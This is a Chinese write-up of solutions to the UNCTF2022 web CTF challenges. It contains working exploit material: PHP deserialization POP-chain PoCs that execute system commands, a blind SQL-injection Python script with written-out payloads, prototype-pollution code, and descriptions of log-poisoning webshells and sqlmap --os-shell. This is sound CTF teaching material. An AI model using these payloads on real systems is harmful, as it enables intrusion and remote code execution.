[UNCTF2022]web方向writeup

本文原地址 转载请标注原作者信息

http://www.hardlic.top/index.php/archives/46/

前言

本来想去打一打UNCTF看看这一年到底学的怎么样做一个总结吧,然后就被新生赛炸了捏,真卷55
在这里插入图片描述

web

ezgame

打开main.js ctrl f搜索关键字得到flag
在这里插入图片描述

我太喜欢bilibili大学啦

一样ctrl f一把梭
在这里插入图片描述

签到

先看源码,20200101,还以为是sql试了半天发现不是,然后就从20200101遍历了一下得到flag
在这里插入图片描述
在这里插入图片描述

babyphp

0e科学计数法绕过+数组绕过+rce空格用%09代替,然后cat用more代替,*是用来匹配f开头的文件的,不难
在这里插入图片描述

在这里插入图片描述

easy_upload

开局一个文件上传传了几下发现啥都上不去,找找别的路子,扫了下路径,有个www.rar很不错
在这里插入图片描述

打开一看index.php文件有读取文件的功能,尝试着盲打了一下看看能不能读取到nginx的log进行日志包含,还真可以
在这里插入图片描述

在这里插入图片描述
在user-agent写上一句话木马,这样马比较容易连
在这里插入图片描述

打完之后直接上蚁剑
在这里插入图片描述

在home文件中找到flag,这题应该叫ezinclude
在这里插入图片描述

我太喜欢bilibili大学啦修复版

题目给的提示藏了两个hint尝试搜索hint
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

尝试了sql和弱口令发现进不去打开源码,在源码提示了抓包
抓包后成功找到hint2
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

302与深大

传半天cookie传不上,后来听别的师傅说才知道是cookie=true,我是直接扫的目录得到
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

给你一刀

这个就没什么好说的直接thinkphp5.0工具一键getshell
在这里插入图片描述

在这里插入图片描述

听说php有一个xxe

打开就看见you can ask the hint于是访问了hint文件
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

猜测应该是能加载xml的,去网上找了个xxe的payload来自于MustaphaMond师傅的文章看起来还不错https://www.cnblogs.com/20175211lyz/p/11413335.html传的时候记得改成post发包
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

easy ssti

开局一个登陆框测试了一下{{7*7}},发现49得知存在jinjia2ssti模板注入
在这里插入图片描述
这里掏出了1982的payload
在这里插入图片描述

在env下发现flag,看见很多新人师傅在正常路径下找不到flag,其实env还挺常见的,就多积累吧,像这种flag还算常规

ezunseri

直接上poc,没什么难度,链子是Login::_destruct -> Exec::_get -> Test::_toString -> Exec::_invoke->Exec::execute跑完把login改成大于2绕过_wakeup就行了

<?php
highlight_file(__FILE__);


class Exec
{
    public $content;

    public function execute($var){
        eval($this->content);
    }

    public function __get($name){
        echo $this->content;
              
    }

    public function __invoke(){
        $content = $this->execute($this->content);
    }

    public function __wakeup()
    {
        $this->content = "";
        die("1!5!");
    }

}

class Test
{
    public $test;
    public $key;

    public function __construct(){
        $this->test = "test123";
    }
    
    public function __toString(){
        $name = $this->test;
        $name();
    }
} 
class Login
{
    private $name;
    public $code = " JUST FOR FUN";
    public $key;
    public function __construct($name="UNCTF"){
        $this->name = $name;
    }
    
    public function show(){
        echo $this->name.$this->code;
    }
    
    public function __destruct(){

        if($this->code = '3.1415926'){
            return $this->key->name;
        }
    }
}

if(isset($_GET['pop'])){
    $a = unserialize($_GET["pop"]);
}else{
   $a = new Login();
   $a->show();
}
<?php


class Exec
{
    public $content;
}
class Test
{
    public $test;
}
class Login
{
    public $code;
    public $key;
    public $name;
}
$poc1 = new Login();
$poc2=new Test();
$poc3 = new Exec();
$poc1->key=$poc3;
$poc3->content=$poc2;
$poc2->test=new Exec();
$poc2->test->content="system(\"ls \/\");";
echo serialize($poc1);

在这里插入图片描述

在这里插入图片描述

poppop

直接上poc吧挺简单的链子是B::_destruct->C::_tostring->A::_call

<?php
Class A{
    public $code;
}
Class B{
    public $key;
}
Class C{
    public $key2;
}
$a = new A();
$b = new B();
$c = new C();
$b->key=$c;
$c->key2=$a;
$a->code="phpinfo();";
$poc=serialize($b);
echo $poc;
?>

考察_wakeup和private私有变量的绕过,执行后在把A的成员变量改成2并在key2前面加上%00C%00然后把s改成7就ok了(不会的师傅可以去搜一下私有变量绕过和_wakeup绕过)
在这里插入图片描述

babynode

ctfhshow338原型链污染小坑点在于改成application/json
参考yu师傅的ctfshowwphttps://blog.csdn.net/miuzzx/article/details/111780832
学习原型链污染解析可以去p神那边看看说的很清楚https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript

app.post('/', function(req, res) {
	var flag='flag';
	var admin = {};
	let user = {};
	try{copy(user,req.body);
	} catch (error){
		res.send("copy error");
		return;}
	if(admin.id==='unctf'){
		res.end(flag);
	}else{return res.end("error");}})

在这里插入图片描述

随便注

sqlmap --os-shell 这里直接–os-shell拿下,本质是报错注入写木马
在这里插入图片描述

easy_rce

命令行无回显注入分号用%0a替换
在这里插入图片描述

在这里插入图片描述

看高延迟的payload 得到flag

Sqlsql

一个简单的二次注入,在注册时进行盲注并在login页面后如果登陆成功即可返回已完成考试盲注得到admin的密码登陆后在查询页面输入admin的密码得到flag

import requests
dict="=+_{}-[]!<>,.?`qazwsxedcrfvtgbyhnujmikolp1234567890"
Register="http://c029fda0-6d72-4ac5-b6c0-c70fe6599bc7.node.yuzhian.com.cn/register.php"
Login="http://c029fda0-6d72-4ac5-b6c0-c70fe6599bc7.node.yuzhian.com.cn/login.php"

flag=""
username=''
studentid=212106000
for i in range(0,5):
    for j in range(1,20):
        for k in range(1,128):
         payload1 = "1' or if(ascii(substr((select `studentid` from `users` where `username` ='admin' limit %d,1),%d,1))=%d,1,0)#"%(i,j,k)

         data = {"username":payload1,"studentid":studentid,"submit":"提交"}
         r1 = requests.post(Register,data=data)
         r2 = requests.post(Login, data=data)
         studentid = studentid + 1
         if '已完成考试' in r2.text:
             flag += chr(k)
             print(flag)
    flag=''

在这里插入图片描述
在这里插入图片描述

世界和平

没写出来吐槽一下这双写绕过压根看不出来咩(也有可能是太菜了)

三消

听别的师傅说有个index.php.bak,我的dirsearch没扫出来

2048

js有点可惜这比赛打到后面不太想看代码了,js调试瞎搞了半天没搞出来(果然是太菜了),想请教一下会的师傅~

更多wp详情可以关注师傅的博客:www.hardlic.top,也可以加师傅的好友多交流,共同进步

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值